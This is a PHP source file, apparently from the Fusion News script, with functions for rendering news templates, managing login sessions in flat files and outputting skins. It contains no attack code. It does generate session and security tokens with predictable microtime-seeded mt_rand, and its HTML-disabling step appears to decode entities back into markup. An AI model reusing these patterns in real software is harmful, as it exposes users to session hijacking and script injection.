strpos ($news_tmpl, '{fullstory}') !== false && !empty ($full_news) ) { $link_full_news = '<a href="?fn_mode=fullnews&fn_incl=' . $show_category . '&fn_id=' . $news_id . $other_qs . '"' . (( $fsnw ) ? ' onclick="javascript:window.open(this.href,\'\',\'height=' . $fullnewsh . ',width=' . $fullnewsw . ',toolbar=no,menubar=no,scrollbars=' . $fullnewss . ',resizable=' . $fullnewsz . '\'); return false"' : '') . '>' . $fslink . '</a>'; } // Create the comments link if ( strpos ($news_tmpl, '{comments}') !== false && strpos ($news_tmpl, '{nrc}') !== false ) { $link_comments = '<a href="?fn_mode=comments&fn_incl=' . $show_category . '&fn_id=' . $news_id . $other_qs . '"' . (( $compop ) ? ' onclick="window.open(this.href,\'\',\'height=' . $comheight . ',width=' . $comwidth . ',toolbar=no,menubar=no,scrollbars=' . $comscrolls . ',resizable=' . $comresize . '\'); return false"' : '') . '>' . $pclink . '</a>'; } // Create the tell a friend link if ( strpos ($news_tmpl, '{send}') !== false ) { $link_tell_friend = '<a href="?fn_mode=send&fn_incl=' . $show_category . '&fn_id=' . $news_id . $other_qs . '"' . (( $stfpop ) ? ' onclick="window.open(this.href,\'\',\'height=' . $stfheight . ',width=' . $stfwidth . ',toolbar=no,menubar=no,scrollbars=' . $stfscrolls . ',resizable=' . $stfresize . '\'); return false"' : '') . '>' . $stflink . '</a>'; } // Make sure the number of comments is 0 or above. $num_comments = ( intval ($num_comments) < 0 ) ? 0 : $num_comments; // Get author information $author = findwriter ($author); // Create the icon if ( strpos ($news_tmpl, '{icon}') !== false && !empty ($author['icon']) ) { $icon = '<img src="' . $author['icon'] . '" alt="" />'; } // Put the writer's name with his email as a link, or in some cases not. $email = ( $author['showemail'] ) ? $author['email'] : ''; if ( !$email ) { $writer = $author['nick']; } else { $writer = '<a href="mailto:' . $author['email'] . '">' . $author['nick'] . '</a>'; } // Get our new lines back $short_news = str_replace ('&br;', '<br />', $short_news); $full_news = str_replace ('&br;', '<br />', $full_news); // Do we need to use the word filter? if ( $wfpost ) { $subject = filterbadwords ($subject); $short_news = filterbadwords ($short_news); $full_news = filterbadwords ($full_news); } // Disable HTML if needed. if ( $ht ) { $subject = unhtmlentities ($subject); $short_news = unhtmlentities ($short_news); $short_news = str_replace ('<?', '<?', $short_news); $full_news = unhtmlentities ($full_news); $full_news = str_replace ('<?', '<?', $full_news); } // Word wrap the news if ( $cbwordwrap ) { $short_news = fusion_wordwrap ($short_news, $wwwidth); $full_news = fusion_wordwrap ($full_news, $wwwidth); } // Insert the smilies! if ( $smilies ) { $subject = InsertSmillies ($subject); $short_news = InsertSmillies ($short_news); $full_news = InsertSmillies ($full_news); } // Replace the BBCode if ( $bb ) { $subject = InsertBBCode ($subject); $short_news = InsertBBCode ($short_news); $full_news = InsertBBCode ($full_news); } $file = file (FNEWS_ROOT_PATH . 'categories.php'); array_shift ($file); $categories = explode (',', $categories); $cat_icon = ''; $cat_id = 0; $cat_name = ''; foreach ( $file as $category ) { list ($cid, $cname, $cicon, $cusers) = explode ('|<|', $category); if ( ($show_category > 0 && $cid == $show_category) || ($show_category <= 0 && in_array ($cid, $categories)) ) { $cat_icon = '<img src="' . $cicon . '" alt="" />'; $cat_id = $cid; $cat_name = $cname; break; } } $news_text = array ( 'post_id' => $news_id, 'link_tell_friend' => $link_tell_friend, 'link_full_news' => $link_full_news, 'subject' => $subject, 'description' => $description, 'writer' => $writer, 'email' => $email, 'date' => date ($datefor, $timestamp), 'icon' => $icon, 'news' => $short_news, 'fullnews' => $full_news, 'cat_icon' => $cat_icon, 'cat_id' => $cat_id, 'cat_name' => $cat_name, ); if ( strpos ($news_tmpl, '{comments}') !== false && strpos ($news_tmpl, '{nrc}') !== false ) { $news_text += array ( 'nrc' => $num_comments, 'link_comments' => $link_comments, ); } else { $news_text += array ('nrc' => '', 'link_comments' => ''); } // Replace in the values! $news_tmpl = replace_masks ($news_tmpl, array ( 'post_id' => $news_id, 'user' => $writer, 'date' => date ($datefor, $timestamp), 'icon' => $icon, 'send' => $link_tell_friend, 'nrc' => $news_text['nrc'], 'cat_id' => $news_text['cat_id'], 'cat_name' => $news_text['cat_name'], 'cat_icon' => $news_text['cat_icon'], 'fullstory' => $link_full_news, 'comments' => $news_text['link_comments'], 'subject' => '<a id="fus_' . $news_id . '"></a>' . $subject, 'news' => $short_news )); $news_text += array ('display' => $news_tmpl); } return $news_text; } // PHP 4.3.2 compatability if ( !function_exists ('session_regenerate_id') ) { function session_regenerate_id() { $str = ''; mt_srand ((double)microtime() * 100000); for ( $i = 0; $i < 32; $i++ ) { $x = mt_rand (1, 3); $str .= ($x == 1) ? chr (mt_rand (48, 57)) : (( $x == 2 ) ? chr (mt_rand (65, 90)) : chr (mt_rand (97, 122))); } if ( session_id ($str) ) { return true; } else { return false; } } } /** * Login session functions **/ /** * This function's shared by the installer too to create the login identifier */ function create_security_id ( $length = 32 ) { $str = ''; mt_srand ((double)microtime() * 100000); for ( $i = 0; $i < $length; $i++ ) { $x = mt_rand (1, 3); $str .= ($x == 1) ? chr (mt_rand (48, 57)) : (( $x == 2 ) ? chr (mt_rand (65, 90)) : chr (mt_rand (97, 122))); } return $str; } function login_session_create ( $uid, $autologin = 0 ) { $file = file (FNEWS_ROOT_PATH . 'logins.php'); $write = array_shift ($file); $user_ip = getip(); $current_time = time(); foreach ( $file as $login_data ) { list ($securityid, $user_id, $ip, $autolog, $login_time) = explode ('|<|', $login_data); if ( (($user_ip == $ip) || ($user_id == $uid)) && $autolog != 1 ) { // Purge old existing security id continue; } if ( $current_time <= ($login_time + 1800) ) { $write .= $login_data; } } $security_id = create_security_id(); $write .= $security_id . '|<|' . $uid . '|<|' . $user_ip . '|<|' . $autologin . '|<|' . $current_time . '|<|' . "\n"; safe_write ('logins.php', 'wb', $write); setcookie ('fus_uid', $uid, $current_time + (365 * 86400)); setcookie ('fus_sid', $security_id, $current_time + (365 * 86400)); } function login_session_update ( $uid, $sid ) { if ( !$uid || !$sid ) { return array(); } $file = file (FNEWS_ROOT_PATH . 'logins.php'); $write = array_shift ($file); $valid_sid = false; $userdata = NULL; $current_time = time(); foreach ( $file as $login_data ) { list ($securityid, $user_id, $ip, $autologin, $timestamp) = explode ('|<|', $login_data); if ( ($current_time >= ($timestamp + 1800)) && $autologin != 1 ) { continue; } if ( $securityid != $sid ) { $write .= $login_data; continue; } if ( (getip() != $ip) || ($uid != $user_id) ) { continue; } $userfile = file (FNEWS_ROOT_PATH . 'users.php'); array_shift ($userfile); foreach ( $userfile as $userinfo ) { list ($user, $nick, $email, $icon, $offset, $password, $level) = explode ('|<|', $userinfo); if ( $user == $uid ) { $valid_sid = true; $email = explode ('=', $email); $userdata = array ( 'user' => $user, 'nick' => $nick, 'showemail' => $email[0], 'email' => $email[1], 'icon' => $icon, 'offset' => intval ($offset), 'password' => $password, 'level' => intval ($level) ); $write .= $securityid . '|<|' . $user_id . '|<|' . $ip . '|<|' . $autologin . '|<|' . $current_time . '|<|' . "\n"; } } } safe_write ('logins.php', 'wb', $write); if ( !$valid_sid || $userdata === NULL ) { setcookie ('fus_sid', '', $current_time - 86400); setcookie ('fus_uid', '', $current_time - 86400); } return $userdata; } function login_session_destroy ( $sid ) { $file = file (FNEWS_ROOT_PATH . 'logins.php'); $write = array_shift ($file); $valid_sid = false; $current_time = time(); foreach ( $file as $login_data ) { list ($securityid, $user_id, $ip, $autologin, $timestamp) = explode ('|<|', $login_data); if ( ($current_time >= ($timestamp + 1800)) && $autologin != 1 ) { continue; } if ( $securityid == $sid ) { continue; } $write .= $login_data; } safe_write ('logins.php', 'wb', $write); } function make_redirect ( $message, $return_url = '', $return_text = '' ) { global $ind76; $text = '<p>' . $message . '</p>'; if ( $return_url && $return_text ) { $text .= '<p><a href="' . $return_url . '">' . $return_text . '</a></p>'; } $text .= '<p><a href="./">' . $ind76 . '</a></p>'; return $text; } /** * Failsafe method of retrieving $_SERVER['QUERY_STRING'] */ function get_query_string() { return (isset ($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : ''); } /** * Gets query string without any Fusion News added variables. */ function clean_query_string() { $query_string = get_query_string(); $query_string = preg_replace ('/fn_[a-z]+=[0-9a-z]+&?/', '', $query_string); $query_string = str_replace ('&', '&', $query_string); // Clear possible leading ampersand if ( substr ($query_string, -5) == '&' ) { $query_string = substr ($query_string, 0, -5); } if ( empty ($query_string) ) { return ''; } else { return '&' . $query_string; } } function get_form_character ( $timestamp ) { global $fusion_id; $total = 0; $time = (string)$timestamp; for ( $i = 0, $end = strlen ($time); $i < $end; $i++ ) { $total += $i * $time{$i}; } return $fusion_id{0x1F ^ ($total % 32)}; } function check_form_character() { global $VARS, $fusion_id; if ( !isset ($VARS['post_time']) || !isset ($VARS['post_form']) ) { return false; } if ( empty ($VARS['post_time']) || empty ($VARS['post_form']) ) { return false; } if ( ($VARS['post_time'] + 3600) <= time() ) { // Allow a maximum of one hour to submit a form. return false; } $total = 0; $time = (string)$VARS['post_time']; for ( $i = 0, $end = strlen ($time); $i < $end; $i++ ) { $total += $i * $time{$i}; } return ($fusion_id{0x1F ^ ($total % 32)} == $VARS['post_form']); } function replace_masks ( $template, $masks = array() ) { foreach ( $masks as $key => $value ) { $template = str_replace ('{' . $key . '}', $value, $template); } return $template; } function display_output() { global $title, $content, $userdata, $skin, $start_time, $curve, $load, $ind163, $ind108, $ind109, $ind344, $ind169, $ind272, $ind165, $ind107, $ind281, $ind193, $ind194, $ind195, $ind170, $ind171, $notice_buffer, $warning_buffer, $ind17, $ind357, $errored_out; // Now sort out the skin $links_list = array ( array ($ind163, '', GUEST), // home array ($ind108, '?id=postnews', NEWS_REPORTER), // new post array ($ind109, '?id=editposts', NEWS_REPORTER), // edit posts array ('edit profile', '?id=editprofile', NEWS_REPORTER), // edit posts array (array (NEWS_EDITOR => $ind344, NEWS_ADMIN => $ind169), '?id=admin', NEWS_EDITOR), // editor's panel/admin array ($ind272, '?id=view', GUEST), // view news array ($ind165, '?id=help', NEWS_REPORTER), // logout array ($ind107, '?id=logout', NEWS_REPORTER) // logout ); //open skin $skin_files = array ('index.php', 'index.html', 'index.htm', 'index.txt', 'skin.php', 'skin.html', 'skin.htm'); $cs1 = NULL; foreach ( $skin_files as $file ) { $skin_file = './skins/' . $skin . '/' . $file; if ( @file_exists ($skin_file) ) { if ( $fp = @fopen ($skin_file, 'r') ) { flock ($fp, LOCK_EX); $cs1 = fread ($fp, filesize ($skin_file)); flock ($fp, LOCK_UN); fclose ($fp); } } } if ( empty ($cs1) ) { show_error ($ind281); } $row_links = ''; $col_links = ''; $user_level = ( !isset ($userdata['level']) ) ? 0 : $userdata['level']; foreach ( $links_list as $link_data ) { if ( !is_array ($link_data) ) { continue; } if ( $user_level >= $link_data[2] ) { if ( !empty ($row_links) ) { $row_links .= ' | '; } if ( !empty ($col_links) ) { $col_links .= '<br />'; } $row_links .= '<a href="index.php' . $link_data[1] . '">'; $col_links .= '<a href="index.php' . $link_data[1] . '">'; if ( is_array ($link_data[0]) ) { $row_links .= $link_data[0][$userdata['level']]; $col_links .= $link_data[0][$userdata['level']]; } else { $row_links .= $link_data[0]; $col_links .= $link_data[0]; } $row_links .= '</a>'; $col_links .= '</a>'; } } if ( has_access (NEWS_REPORTER) ) { switch ( $userdata['level'] ) { case 3: $status = $ind195; break; case 2: $status = $ind194; break; case 1: $status = $ind193; break; default: break; } $login = $ind170 . ' <b>' . $userdata['nick'] . '</b> [<b>' . $status . '</b>]'; } else { $login = $ind171; } if ( !$errored_out ) { if ( !empty ($notice_buffer) ) { $content = '<ul id="fn_notice"><li class="title">' . $ind357 . '</li>' . $notice_buffer . '</ul>' . $content; } if ( !empty ($warning_buffer) ) { $content = '<ul id="fn_warning"><li class="title">' . $ind17 . '</li>' . $warning_buffer . '</ul>' . $content; } } $cs = replace_masks ($cs1, array ( 'main' => $content, 'title' => $title, 'linksn'=> $row_links, 'linksb'=> $col_links, 'login' => $login, 'load' => $load, 'curve' => $curve )); //----------------------------------------------- // Do this very last to get the most accurate // result possible //----------------------------------------------- $split = explode (' ', microtime()); $end_time = (float)$split[0] + (float)$split[1]; $cs = str_replace ('{loadtime}', sprintf ('%.6f', $end_time - $start_time), $cs); //----------------------------------------------- // Blammo, out comes the end product :p //----------------------------------------------- // There *might* be some problems with sending large amount of // data at once because of the way TCP/IP buffers the data or // something, so let's split the string into pieces and echo them. for ( $i = 0, $end = strlen ($cs); $i < $end; $i += 8192 ) { // send them in 8kb chunks echo substr ($cs, $i, 8192); } } /** * Error handling */ $warning_buffer = ''; $notice_buffer = ''; $errored_out = false; function fn_trigger_error ( $errno, $errtitle, $errstr ) { trigger_error ($errtitle . '|' . $errstr, $errno); } function fn_error_handler ( $errno, $errstr, $errfile, $errline ) { global $title, $content, $warning_buffer, $notice_buffer, $errored_out; switch ( $errno ) { case E_USER_ERROR: $error = explode ('|', $errstr); $title = $error[0]; $content = $error[1]; $errored_out = true; display_output(); die(); break; case E_USER_NOTICE: $error = explode ('|', $errstr); $notice_buffer .= '<li>' . $error[1] . '</li>' . "\n"; break; case E_USER_WARNING: $error = explode ('|', $errstr); $warning_buffer .= '<li>' . $error[1] . '</li>' . "\n"; break; case E_ERROR: $content = $errstr; $errored_out = true; display_output(); die(); break; case E_NOTICE: $notice_buffer .= '<li>' . $errstr . ' in ' . $errfile . ' on line ' . $errline . '</li>' . "\n"; break; case E_WARNING: $warning_buffer .= '<li>' . $errstr . ' in ' . $errfile . ' on line ' . $errline . '</li>' . "\n"; break; default: break; } } ?>